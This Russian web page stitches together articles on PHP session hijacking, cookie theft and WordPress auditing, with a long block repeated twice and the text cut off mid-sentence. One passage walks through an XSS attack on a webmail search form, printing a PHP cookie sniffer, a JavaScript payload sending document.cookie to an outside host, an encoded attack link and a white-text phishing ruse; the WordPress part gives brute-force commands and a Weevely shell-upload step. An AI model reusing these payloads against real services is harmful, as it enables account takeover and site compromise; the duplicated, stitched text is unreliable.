Главная » Полезное » Кража куки. Простой способ украсть cookie. Меры противодействия извлечению информации из файлов cookie, выполняемые на стороне клиента

Кража куки. Простой способ украсть cookie. Меры противодействия извлечению информации из файлов cookie, выполняемые на стороне клиента

  1. У пользователя запрашивается логин и пароль.
  2. Если авторизация проходит успешно, то создается новая сессия, со значением "успешной авторизации".
  3. Пользователю назначается уникальный идентификатор (SID), который заранее невозможно предсказать, а, значит, и подобрать:).
  4. SID записывается либо в cookies браузера, либо передается через адресную строку браузера (если cookies отключены).

В результате успешной авторизации скрипту становится доступными значения переменных из суперглобального массива $_SESSION, по наличию которых скрипт предоставляет доступ к некоторому ресурсу, например, вход на панель администрирования сайта.

Проблема заключается в том, что если злоумышленник каким-либо образом узнает SID другого пользователя, он сможет подставить его в свои cookies, или адресную строку браузера и войти на сайт с правами данного пользователя.

Замечание

Несколько лет назад имело место несколько скандалов, когда в системах удалённого управления банковским счётом уникальный номер (SID) генерировался просто прибавлением единицы к последнему использованному значению. Быстрая авторизация приводила к выдачи двух значений SID, допустим 40346 и 40348. Подстановка номера 40347 позволяла получить доступ к чужому счёту:).

В настоящее время SID представляет уникальную последовательность цифр и букв, не привязанную к счётчику. Но как же злоумышленик узнает чужой SID?

Существуют два самых распространенных варианта:

1. Например, владелец сессии сам показал ее, неосторожно оставив ссылку такого типа где-нибудь на форуме или гостевой книге.

http://forum.dklab.ru/?sid=

Переход по этому адресу, автоматически наделяет злоумышленника правами пользователя для которого выделена сессия с идентификатором.
Конечно, сессия пользователя уничтожается при отсутствии активности через некоторое время. И поэтому злоумышленнику следует поторопиться:). С другой стороны тотальная распространённость пауков (спайдеров) позволяет организовать целеноправленный автоматический поиск таких ссылок.

2. Если даже сессия не указана явно в строке браузера, а хранится в Куках. У злоумышленика все равно есть возможность завладеть идентификатором. Рассмотрим небольшой скрипт простейшей гостевой книги.



Текст:


Содержимое обработчика addmsg.php представлено ниже

if(!empty($_POST [ "text" ]))
{
$line = str_replace ("/ ?
/s" , " " , $_POST [ "text" ]);
//запись в базу или в файл
}
else
{
exit(
"Ошибка" );
}
?>

Обратите внимание - в скрипте явно пропущен вызов функции htmlspecialchars(), которая преобразует символы < в < и > в > в результате чего, злоумышленник может вставить в текст любые HTML-теги и скрипты JavaScript.

И что мы получаем? Маленькая оплошность (казалось бы пропустили всего лишь какой-то htmlspecialchars() перед выводом сообщения в браузер), которая позволяет загружать в новом окне страницу злоумышленика, передавая ей значения из cookies.
Для борьбы с уязвимостями такого рода лучше всего бороться "устойчивыми" методами, действуя по принципу "всё что не разрешено - запрещено". Не следует скрывать SID и подвергать текст многоэтапным проверкам - вероятность создания ошибок в этом случае только возрастает. Более надёжным в этом случае является метод привязки SID к IP-адресу, пользователя владеющего сессией. Такой способ широко распространен во многих известных форумах, например phpBB.
Скрипт авторизации

if (логин и пароль верные )
{
$_SESSION [ "authorized" ] = true ;
$_SESSION [ "ip" ] = $_SERVER [ "REMOTE_ADDR" ];
}
?>

Тогда скрипт, который предоставляет доступ к определенному ресурсу, может содержать следующий код

if (!empty($_SESSION [ "authorized" ]) &&
$_SESSION [ "ip" ] == $_SERVER [ "REMOTE_ADDR" ])
{
// Доступ к ресурсу открыт.
}
else die("Доступ закрыт." );
?>

Т.е. теперь с данной сессией может работать только тот пользователь, IP-адрес которого совпадает с IP-адресом, переданным серверу при авторизации. Если злоумышленик перехватит сессию, IP-адрес то у него другой:) - поэтому в доступе ему будет отказано.

Данный метод не является универсальным и у него тоже есть слабые места.

  1. Если пользователь и злоумышленик выходят в Интернет через общий прокси-сервер, то они будут иметь один общий IP-адрес (это характерно для сетей университетов, заводов и других крупных учреждений), т.е. каждый может украсть SID соседа, хотя бы вышеуказанными методами.
  1. У пользователя запрашивается логин и пароль.
  2. Если авторизация проходит успешно, то создается новая сессия, со значением "успешной авторизации".
  3. Пользователю назначается уникальный идентификатор (SID), который заранее невозможно предсказать, а, значит, и подобрать:).
  4. SID записывается либо в cookies браузера, либо передается через адресную строку браузера (если cookies отключены).

В результате успешной авторизации скрипту становится доступными значения переменных из суперглобального массива $_SESSION, по наличию которых скрипт предоставляет доступ к некоторому ресурсу, например, вход на панель администрирования сайта.

Проблема заключается в том, что если злоумышленник каким-либо образом узнает SID другого пользователя, он сможет подставить его в свои cookies, или адресную строку браузера и войти на сайт с правами данного пользователя.

Замечание

Несколько лет назад имело место несколько скандалов, когда в системах удалённого управления банковским счётом уникальный номер (SID) генерировался просто прибавлением единицы к последнему использованному значению. Быстрая авторизация приводила к выдачи двух значений SID, допустим 40346 и 40348. Подстановка номера 40347 позволяла получить доступ к чужому счёту:).

В настоящее время SID представляет уникальную последовательность цифр и букв, не привязанную к счётчику. Но как же злоумышленик узнает чужой SID?

Существуют два самых распространенных варианта:

1. Например, владелец сессии сам показал ее, неосторожно оставив ссылку такого типа где-нибудь на форуме или гостевой книге.

Http://forum.dklab.ru/?sid=

Переход по этому адресу, автоматически наделяет злоумышленника правами пользователя для которого выделена сессия с идентификатором.
Конечно, сессия пользователя уничтожается при отсутствии активности через некоторое время. И поэтому злоумышленнику следует поторопиться:). С другой стороны тотальная распространённость пауков (спайдеров) позволяет организовать целеноправленный автоматический поиск таких ссылок.

2. Если даже сессия не указана явно в строке браузера, а хранится в Куках. У злоумышленика все равно есть возможность завладеть идентификатором. Рассмотрим небольшой скрипт простейшей гостевой книги.



Текст:


Содержимое обработчика addmsg.php представлено ниже

if(!empty($_POST [ "text" ]))
{
$line = str_replace ("/ ?
/s" , " " , $_POST [ "text" ]);
//запись в базу или в файл
}
else
{
exit("Ошибка" );
}
?>

Обратите внимание - в скрипте явно пропущен вызов функции htmlspecialchars(), которая преобразует символы в > в результате чего, злоумышленник может вставить в текст любые HTML-теги и скрипты JavaScript.

И что мы получаем? Маленькая оплошность (казалось бы пропустили всего лишь какой-то htmlspecialchars() перед выводом сообщения в браузер), которая позволяет загружать в новом окне страницу злоумышленика, передавая ей значения из cookies.
Для борьбы с уязвимостями такого рода лучше всего бороться "устойчивыми" методами, действуя по принципу "всё что не разрешено - запрещено". Не следует скрывать SID и подвергать текст многоэтапным проверкам - вероятность создания ошибок в этом случае только возрастает. Более надёжным в этом случае является метод привязки SID к IP-адресу, пользователя владеющего сессией. Такой способ широко распространен во многих известных форумах, например phpBB.
Скрипт авторизации

if (логин и пароль верные )
{
$_SESSION [ "authorized" ] = true ;
$_SESSION [ "ip" ] = $_SERVER [ "REMOTE_ADDR" ];
}
?>

Тогда скрипт, который предоставляет доступ к определенному ресурсу, может содержать следующий код

if (!empty($_SESSION [ "authorized" ]) &&
$_SESSION [ "ip" ] == $_SERVER [ "REMOTE_ADDR" ])
{
// Доступ к ресурсу открыт.
}
else die("Доступ закрыт." );
?>

Т.е. теперь с данной сессией может работать только тот пользователь, IP-адрес которого совпадает с IP-адресом, переданным серверу при авторизации. Если злоумышленик перехватит сессию, IP-адрес то у него другой:) - поэтому в доступе ему будет отказано.

Данный метод не является универсальным и у него тоже есть слабые места.

  1. Если пользователь и злоумышленик выходят в Интернет через общий прокси-сервер, то они будут иметь один общий IP-адрес (это характерно для сетей университетов, заводов и других крупных учреждений), т.е. каждый может украсть SID соседа, хотя бы вышеуказанными методами.
  2. Если пользователь использует модем, и произойдет обрыв связи, то после восстановления связи, ему скорее всего будет назначен другой IP-адрес. Пользователь может быть неприятно удивлён, если он будет огульно зачислен в ряды злоумышленников (поэтому писать угрозы и призывы к совести в системах защиты не стоит - в таких системах тоже бывают ошибки). Последний недостаток имеет место на форумах, посетители которых имеют привычку при наборе длинного ответа отключать Интернет и работать offline. Нажатие на кнопку "Ответить" приводит к тому, что вся набраная информация теряется, так как никто не заботится о том, что бы сохранять текст набранный злоумышлеником:))).

Выход: (вернее полу выход) Проверять на идентичность только первые 3 цифры IP адреса, кража SID по-прежднему статистически маловероятна, однако это в большинстве случаев, позволяет более мягко отнестись к разрыву соединения, так как провайдерам обычно выделяют неразрывный диапазон IP-адресов, в котором меняется только последняя цифра.

В котором предлагалось посетить бесплатное мероприятие, посвященное вопросам информационной безопасности. Так как мероприятие проходило в моем городе, я решил, что мне нужно непременно туда сходить. Первое занятие было посвящено уязвимостям на сайтах типа XSS . После занятия я решил, что нужно закрепить полученные знания в реальных условиях. Выбрал для себя несколько сайтов, которые относятся к моему городу и начал во все формы пытаться воткнуть свой скрипт. В большинстве случаев скрипт отфильтровывался. Но бывало так, что «алерт» и срабатывал, и появлялось мое сообщение. О найденной уязвимости сообщал администраторам, и они быстро все исправляли.

В один из таких дней проверяя свежую почту на mail.ru мне на глаза попалась форма для поиска писем в почтовом ящике. Изредка я пользовался этим поиском, чтобы найти что-то нужное в куче своих старых писем. Ну, а так как я в последние пару дней вставлял свой «алерт» практически везде куда только можно было, рука рефлекторно потянулась к этой форме поиска. Набрал код своего скрипта и нажал Enter. Каково же было мое удивление, когда на экране я увидел до боли знакомое сообщение…


На лекции Open InfoSec Days докладчик говорил, что программисты довольно скептически относятся к уязвимостям подобного рода, мол «алерт? Ну и что с того? Это не опасно». Если на других сайтах я довольствовался только этим окошком с моим сообщением, то в данном случае я решил пойти дальше и показать, что из такого вот «алерта» может получиться.

Итак, скрипт срабатывает, а значит, есть уязвимость. Следовательно, можно попробовать запустить какой-нибудь другой скрипт. Например, скрипт, который передает cookies другого пользователя нам. Чтобы скрипт сработал, нужно заставить пользователя выполнить наш скрипт. Сделать это можно отослав ему письмо с соответствующей ссылкой, после нажатия, на которую произойдет поиск по почтовому ящику и выполнится нужный нам код.

На то, чтобы понять механику уязвимости, потребовалось некоторое время и множество экспериментов. Иногда скрипт срабатывал, иногда отфильтровывался. После некоторых усилий эмпирическим путем было установлено, что скрипт 100% срабатывает только в том случае, если поиск по письмам даст положительный результат. То есть когда пользователь выполняет поиск с нашим скриптом, нужно чтобы хотя бы одно письмо в его почтовом ящике по заданным параметрам нашлось. Устроить это не сложно.

if (isset($_GET["cookie"]))
{
$text = "New cookie accept from ". $_SERVER["REMOTE_ADDR"] ." at ". date("l jS \of F Y h:i:s A");
$text .= "\n".str_repeat("=", 22) . "\n" . $_GET["cookie"]."\n".str_repeat("=", 22)."\n";
$file = fopen("sniff.txt", "a");
fwrite($file, $text);
fclose($file);
}
?>

Так же вместо «алерта» нужен скрипт, который будет передавать cookies нашему снифферу. Этот скрипт напишем в отдельном файле и будем его подгружать в наш поиск. Создал файл test.js с нужным кодом и залил на хостинг. Код скрипта такой:

Img=new Image();
img.src="http://sitename.ru/sniff.php?cookie="+document.cookie;
function F() {
location="http://www.solife.ru";
}
setTimeout(F, 5000);

Что хотелось бы здесь пояснить. Поставим себя на место злоумышленника. Нужно чтобы пользователь кликнул по ссылке. Как его заставить это сделать? Можно пообещать золотые горы и чтобы их получить нужно, проследовать по нашей ссылке на сайт. Но не думаю, что это сработает. Народ уже на такое не ведется (сам постоянно удаляю такие письма, даже не читая). Поэтому будем играть на человеческой жалости, благо она еще существует в природе. Попросим проголосовать на сайте за спасение истребляемых животных. Вначале заберем cookies, а потом переправим пользователя на сайт для голосования. Таймаут для переадресации выставил в 5 секунд, в противном случае cookies просто не успевали передаться снифферу, а пользователя сразу перебрасывало на сайт про животных. Вместо «алерта» использовал следующий скрипт:

Когда со скриптами было покончено, я занялся написанием письма. Придумал примерно следующее содержание:


Получилось довольно цинично, но старался приблизить условия к максимально реальным. В конце письма дописана строчка со скриптом, это чтобы наше письмо нашлось, когда мы сделаем поиск. Чтобы строка не вызывала лишних вопросов закрасил ее белым цветом. Так же в слове «http» поставил «пробел» чтобы строка не распозналась и не преобразовалась в ссылку. Иначе, несмотря на то, что скриптовая строка написана шрифтом белого цвета ссылка бы выделилась синим цветом у адресата, а этого нам не надо. Умный поиск все равно найдет и распознает эту строку, не смотря на пробелы.

E.mail.ru/cgi-bin/gosearch?q_folder=0&q_query=%27%3E%3Cscript%20src%3D%27http%3A%2F%2Fsitename.ru%2Ftest.js%27%3E%3C%2Fscript%3E

Для скрипта применил URL кодирование, чтобы ничего не отфильтровалось. Так же для поиска добавил параметр «q_folder=0», это чтобы поиск происходил по папке «Входящие».

Письмо готово, отправляем его. В качестве адресата я использовал свой второй почтовый ящик на этом же сервисе. Смотрим, что пришло на другой ящик.

Наш текст скрипта не видно, так как он сливается с фоном. Нажмем на ссылку и посмотрим, что произойдет. Пользователь перемещается в результаты поиска писем по заданному нами параметру. Наше письмо, которое мы отсылали видно в результатах поиска. В это время наш скрипт уже сработал и отослал cookies пользователя снифферу. Через 5 секунд (время зависит от настроек скрипта) пользователь переправляется на сайт с голосованиями.

Проверяю свой файл sniff.txt:

Так как целью моей не является кража чужих ящиков или получения доступа к ним, на этом повествование закончу. Но теоретически можно подменить свои cookies на чужие и получить доступ к чужому почтовому ящику. В общем если злоумышленник загорится целью, то он найдет применение полученной информации.

Хотелось бы поблагодарить Сергея Белова (

Cookies (куки) — информация в виде текстового файла, сохраняемая на компьютере пользователя веб-сайтом. Содержит данные об аутентификации (логин/пароль, ID, номер телефона, адрес почтового ящика), пользовательские настройки, статус доступа. Хранится в профиле браузера.

Взлом куки — это кража (или «угон») сессии посетителя веб-ресурса. Закрытая информация становится доступной не только отправителю и получателю, но и ещё третьему лицу — человеку осуществившему перехват.

Инструменты и методы взлома куки

У компьютерных воров, как и у их коллег в реале, помимо навыков, сноровки и знаний, конечно же, есть и свой инструментарий — своеобразный арсенал отмычек и щупов. Ознакомимся с наиболее популярными хитростями хакеров, которые они применяют для выуживания куки у обывателей сети Интернет.

Снифферы

Специальные программы для отслеживания и анализа сетевого трафика. Их название происходит от английского глагола «sniff» (нюхать), т.к. в буквальном смысле слова «вынюхивают» передаваемые пакеты между узлами.

А вот злоумышленники при помощи сниффера перехватывают сессионые данные, сообщения и другую конфиденциальную информацию. Объектом их атак становятся в основном незащищённые сети, где куки пересылаются в открытой HTTP-сессии, то есть практически не шифруются. (Наиболее уязвимы в этом плане публичные Wi-Fi.)

Для внедрения сниффера в интернет-канал между узлом пользователя и веб-сервером используются следующие методы:

  • «прослушивание» сетевых интерфейсов (хабов, свитчей);
  • ответвление и копирование трафика;
  • подключение в разрыв сетевого канала;
  • анализ посредством специальных атак, перенаправляющих трафик жертвы на сниффер (MAC-spoofing, IP-spoofing).

Аббревиатура XSS означает Cross Site Scripting — межсайтовый скриптинг. Применяется для атаки на веб-сайты с целью похищения данных пользователя.

Принцип действия XSS заключается в следующем:

  • злоумышленник внедряет вредоносный код (специальный замаскированный скрипт) на веб-страницу сайта, форума либо в сообщение (например, при переписке в соцсети);
  • жертва заходит на инфицированную страницу и активирует установленный код на своём ПК (кликает, переходит по ссылке и т.д.);
  • в свою очередь приведённый в действие зловредный код «извлекает» конфиденциальные данные пользователя из браузера (в частности, куки) и отправляет их на веб-сервер злоумышленника.

Для того, чтобы «вживить» программный XSS-механизм, хакеры используют всевозможные уязвимости в веб-серверах, онлайн-сервисах и браузерах.

Все XSS-уязвимости разделяются на два типа:

  • Пассивные . Атака получается методом запроса к конкретному скрипту веб-страницы. Вредоносный код может вводиться в различные формы на веб-странице (например, в строку поиска по сайту). Наиболее подвержены пассивному XSS ресурсы, на которых отсутствует при поступлении данных фильтрация HTML-тегов;
  • Активные . Находятся непосредственно на сервере. И приводятся в действие в браузере жертвы. Активно используются мошенниками во всевозможных блогах, чатах и новостных лентах.

Хакеры тщательно «камуфлируют» свои XSS-скрипты, чтобы жертва ничего не заподозрила. Меняют расширение файлов, выдают код за картинку, мотивируют пройти по ссылке, привлекают интересным контентом. В итоге: пользователь ПК, не совладавший с собственным любопытством, своей же рукой (кликом мышки) отправляет куки сессии (с логином и паролем!) автору XSS-скрипта — компьютерному злодею.

Подмена куки

Все куки сохраняются и отправляются на веб-сервер (с которого они «пришли») без каких-либо изменений — в первозданном виде — с такими же значениями, строками и другими данными. Умышленная модификация их параметров называется подменна куки. Другими словами говоря, при подмене куки злоумышленник выдаёт желаемое за действительное. Например, при осуществлении платежа в интернет-магазине, в куки изменяется сумма оплаты в меньшую сторону — таким образом происходит «экономия» на покупках.

Украденные куки сессии в соцсети с чужого аккаунта «подкладываются» в другую сессию и на другом ПК. Владелец украденных кук получает полный доступ к аккаунту жертвы (переписка, контент, настройки страницы) до тех пор пока, она будет находится на своей странице.

«Редактирование» кук осуществляется при помощи:

  • функции «Управление cookies... » в браузере Opera;
  • аддонов Cookies Manager и Advanced Cookie Manager для FireFox;
  • утилиты IECookiesView (только для Internet Explorer);
  • текстового редактора типа AkelPad, NotePad или блокнота Windows.

Физический доступ к данным

Очень простая схема по реализации, состоит из нескольких шагов. Но действенна лишь в том случае, если компьютер жертвы с открытой сессией, например Вконтакте, оставлен без присмотра (и достаточно надолго!):

  1. В адресную строку браузера вводится функция javascript, отображающая все сохранённые куки.
  2. После нажатия «ENTER» они все появляются на странице.
  3. Куки копируются, сохраняются в файл, а затем переносятся на флешку.
  4. На другом ПК осуществляется подмена куки в новой сессии.
  5. Открывается доступ к аккаунту жертвы.

Как правило, хакеры используют вышеперечисленные инструменты (+ другие) как в комплексе (поскольку уровень защиты на многих веб-ресурсах достаточно высок), так и по отдельности (когда пользователи проявляют чрезмерную наивность).

XSS + сниффер

  1. Создаётся XSS-скрипт, в котором указывается адрес сниффера-онлайн (собственного изготовления либо конкретного сервиса).
  2. Вредоносный код сохраняется с расширением.img (формат картинки).
  3. Затем этот файл загружается на страницу сайта, в чат, либо в личное сообщение — туда, где будет осуществляться атака.
  4. Привлекается внимание пользователя к созданной «ловушке» (здесь в силу уже вступает социальная инженерия).
  5. Если «ловушка» срабатывает, куки из браузера жертвы перехватываются сниффером.
  6. Взломщик открывает логи сниффера и извлекает похищенные куки.
  7. Далее выполняет подмену для получения прав владельца аккаунта посредством вышеперечисленных инструментов.

Защита cookies от взлома

  1. Пользоваться шифрованным соединением (с использованием соответствующих протоколов, и методов обеспечения ).
  2. Не реагировать на сомнительные ссылки, картинки, заманчивые предложения ознакомиться с «новым бесплатным ПО». В особенности от незнакомых людей.
  3. Пользоваться только доверенными веб-ресурсами.
  4. Завершать авторизированную сессию, нажатием кнопки «Выход» (а не просто закрывать вкладку!). Особенно, если вход в аккаунт выполнялся не с личного компьютера, а, например, с ПК в интернет-кафе.
  5. Не пользоваться функцией браузера «Сохранить пароль». Сохраняемые регистрационные данные повышают риск кражи в разы. Не стоит лениться, не стоит жалеть нескольких минут времени на ввод пароля и логина в начале каждой сессии.
  6. После веб-сёрфинга — посещения соцсетей, форумов, чатов, сайтов — удалять сохранённые куки и очищать кэш браузера.
  7. Регулярно обновлять браузеры и антивирусное ПО.
  8. Пользоваться браузерными расширениями, защищающими от XSS-атак (например, NoScript для FF и Google Chrome).
  9. Периодически в аккаунтах.

И самое главное — не теряйте бдительность и внимание во время отдыха или работы в Интернете!

WordPress - это удобная блог-платформа для публикации статей и управления ими, на которой базируется огромное число различных сайтов. Из-за своей распространенности эта CMS уже давно является лакомым куском для злоумышленников. К сожалению, базовые настройки не обеспечивают достаточного уровня защиты, оставляя многие дефолтные дырки незакрытыми. В этой статье мы пройдем типичным путем «типового» взлома сайта на WordPress, а также покажем как устранить выявленные уязвимости.

Введение

На сегодняшний день WordPress среди систем управления контентом популярнее всего. Его доля составляет 60,4% от общего числа сайтов, использующих CMS-движки. Из них, согласно статистике, 67,3% сайтов базируется на последней версии данного программного обеспечения. Между тем за двенадцать лет существования веб-движка в нем было обнаружено 242 уязвимости различного рода (без учета уязвимостей, найденных в сторонних плагинах и темах). А статистика сторонних дополнений выглядит еще печальней. Так, компания Revisium провела анализ 2350 русифицированных шаблонов для WordPress, взятых из различных источников. В результате они выяснили, что более половины (54%) оказались зараженными веб-шеллами, бэкдорами, blackhat seo («спам») ссылками, а также содержали скрипты с критическими уязвимостями. Поэтому устраивайся поудобней, сейчас мы будем разбираться, как провести аудит сайта на WordPress и устранить найденные недостатки. Использовать будем версию 4.1 (русифицированную).

Индексирование сайта

Первым этапом любого теста обычно бывает сбор информации о цели. И тут очень часто помогает неправильная настройка индексирования сайта, которая позволяет неавторизованным пользователям просматривать содержимое отдельных разделов сайта и, например, получить информацию об установленных плагинах и темах, а также доступ к конфиденциальным данным или резервным копиям баз данных. Чтобы проверить, какие директории видны снаружи, проще всего воспользоваться Гуглом. Достаточно выполнить запрос Google Dorks типа site:example.com intitle:"index of" inurl:/wp-content/ . В операторе inurl: можно указать следующие директории:

/wp-content/ /wp-content/languages/plugins /wp-content/languages/themes /wp-content/plugins/ /wp-content/themes/ /wp-content/uploads/

Если сможешь просмотреть /wp-content/plugins/ , следующий шаг по сбору информации об установленных плагинах и их версиях значительно упрощается. Естественно, запретить индексирование можно с помощью файла robots.txt . Так как по умолчанию он не включен в установочный пакет WordPress, его необходимо создать самому и закинуть в корневую директорию сайта. Мануалов по созданию и работе с файлом robots.txt довольно много, поэтому оставлю эту тему для самоподготовки. Приведу лишь один из возможных вариантов:

User-Agent: * Disallow: /cgi-bin Disallow: /wp-login.php Disallow: /wp-admin/ Disallow: /wp-includes/ Disallow: /wp-content/ Disallow: /wp-content/plugins/ Disallow: /wp-content/themes/ Disallow: /?author=* Allow: /

Если в файлах, хранящихся в папке uploads , имеются сведения конфиденциального характера, добавляем к этому списку строчку: Disallow: /wp-content/uploads/ .
С другой стороны, в файле robots.txt не рекомендуется размещать ссылки на директории, которые были созданы специально для хранения чувствительной информации. Иначе этим самым ты облегчишь злоумышленнику задачу, так как это первое место, куда обычно все заглядывают в поисках «интересненького».

Определение версии WordPress

Еще один важный шаг - идентификация версии CMS. Иначе как подобрать подходящий сплоит? Существует три быстрых способа для определения используемой на сайте версии WordPress:

  1. Найти в исходном коде страницы. Она указана в метатеге generator:

    или же в тегах :

  2. Найти в файле readme.html (рис. 1), который входит в состав установочного пакета и находится в корне сайта. Файл может иметь и другие названия типа readme-ja.html .
  3. Найти в файле ru_RU.po (рис. 2), который входит в состав установочного пакета и расположен по адресу /wp-content/languages/ : "Project-Id-Version: WordPress 4.1.1\n"

Один из вариантов защиты в данном случае - ограничить доступ к файлам readme.html и ru_RU.po с помощью.htaccess .

Автоматизация процесса тестирования

Исследованием безопасности WordPress занялись не вчера, поэтому существует достаточное количество инструментов, позволяющих автоматизировать рутинные задачи.

  • определение версии и темы с помощью скрипта http-wordpress-info nmap -sV --script http-wordpress-info
  • подбор пароля по словарям nmap -p80 --script http-wordpress-brute --script-args "userdb=users.txt,passdb=passwords.txt" example.com
  • модуль для определения версии: auxiliary/scanner/http/wordpress_scanner ;
  • модуль для определения имени пользователя auxiliary/scanner/http/wordpress_login_enum .
  • перечисление установленных плагинов: wpscan --url www.exmple.com --enumerate p ;
  • перечисление установленных тем: wpscan --url www.exmple.com --enumerate t ;
  • перечисление установленного timthumbs: wpscan --url www.example.com --enumerate tt ;
  • определение имени пользователя: wpscan --url www.example.com --enumerate u ;
  • подбор пароля по словарю для пользователя admin: wpscan --url www.example.com --wordlist wordlist.txt --username admin ;
  • подбор пароля с использованием связки имя пользователя / пароль с числом потоков, равным 50: wpscan --url www.example.com --wordlist wordlist.txt --threads 50 .

Определение установленных компонентов

Теперь давай соберем информацию об установленных плагинах и темах независимо от того, активированы они или нет. Прежде всего такую информацию можно выудить из исходного кода HTML-страницы, например по JavaScript-ссылкам, из комментариев и ресурсов типа CSS, которые подгружаются на страницу. Это самый простой способ получения информации об установленных компонентах. Например, строчки ниже указывают на используемую тему twentyeleven:

Так как информация о плагинах не всегда отображается в исходном коде HTML-страницы, то обнаружить установленные компоненты можно с помощью утилиты WPScan (см. врезку). Только не забывай, что перебор путей плагинов зафиксируется в логах веб-сервера.
Получив данные об установленных компонентах, уже можно приступать к поиску уязвимостей своими силами либо найти общедоступные эксплойты на ресурсах типа rapid7 или exploit-db .

Определение имени пользователей

По умолчанию в WordPress каждому пользователю присваивается уникальный идентификатор, представленный в виде числа: example.com/?author=1 . Перебирая числа, ты и определишь имена пользователей сайта. Учетная запись администратора admin, которая создается в процессе установки WordPress, идет под номером 1, поэтому в качестве защитной меры рекомендуется ее удалить.

Брутфорс wp-login

Зная имя пользователя, можно попробовать подобрать пароль к панели администрирования. Форма авторизации WordPress на странице wp-login.php весьма информативна (рис. 3), особенно для злоумышленника: при вводе неправильных данных появляются подсказки о неверном имени пользователя или пароле для конкретного пользователя. Разработчикам известно о данной особенности, но ее решили оставить, так как подобные сообщения удобны для пользователей, которые могли забыть свой логин и/или пароль. Проблему подбора пароля можно решить, используя стойкий пароль, состоящий из двенадцати и более символов и включающий буквы верхнего и нижнего регистра, числа и спецсимволы. Или же, например, при помощи плагина Login LockDown.

Заливаем Shell

После того как мы сбрутили пароль, ничто не мешает залить шелл на скомпрометированный веб-ресурс. Для этих целей вполне сгодится фреймворк Weevely , который позволяет генерировать шелл в обфусцированном виде, что делает его обнаружение довольно сложным. Чтобы не вызывать подозрения, полученный код можно вставить в любой файл темы (например, в index.php) через редактор темы консоли WordPress. После чего с помощью того же Weevely можно подключиться к машине жертвы и вызывать различные команды:

Python weevely.py http://test/index.php Pa$$w0rd [+] weevely 3.1.0 [+] Target:test [+] Session: _weevely/sessions/test/index_0.session [+] Browse the filesystem or execute commands starts the connection [+] to the target. Type:help for more information. weevely> :help

Подключаем.htaccess

Для запрета доступа к чувствительной информации лучше воспользоваться файлом.htaccess - это файл конфигурации, используемый в Apache Web Server. Рассмотрим возможности этого файла с точки зрения безопасности. С его помощью можно: запретить доступ к директориям и файлам, заблокировать различные SQL-инъекции и вредоносные скрипты. Для этого стандартный файл.htaccess для CMS WordPress 4.1 нужно немного расширить. Чтобы закрыть список файлов и папок, добавляем:

Options +FollowSymLinks -Indexes

RewriteCond %{QUERY_STRING} base64_encode[^(]*\([^)]*\) заблокирует ссылки, содержащие кодировку Base64. Избавиться от ссылок, содержащих тег

Предыдущая статья: Следующая статья:


© 2015 .
О сайте | Контакты
| Карта сайта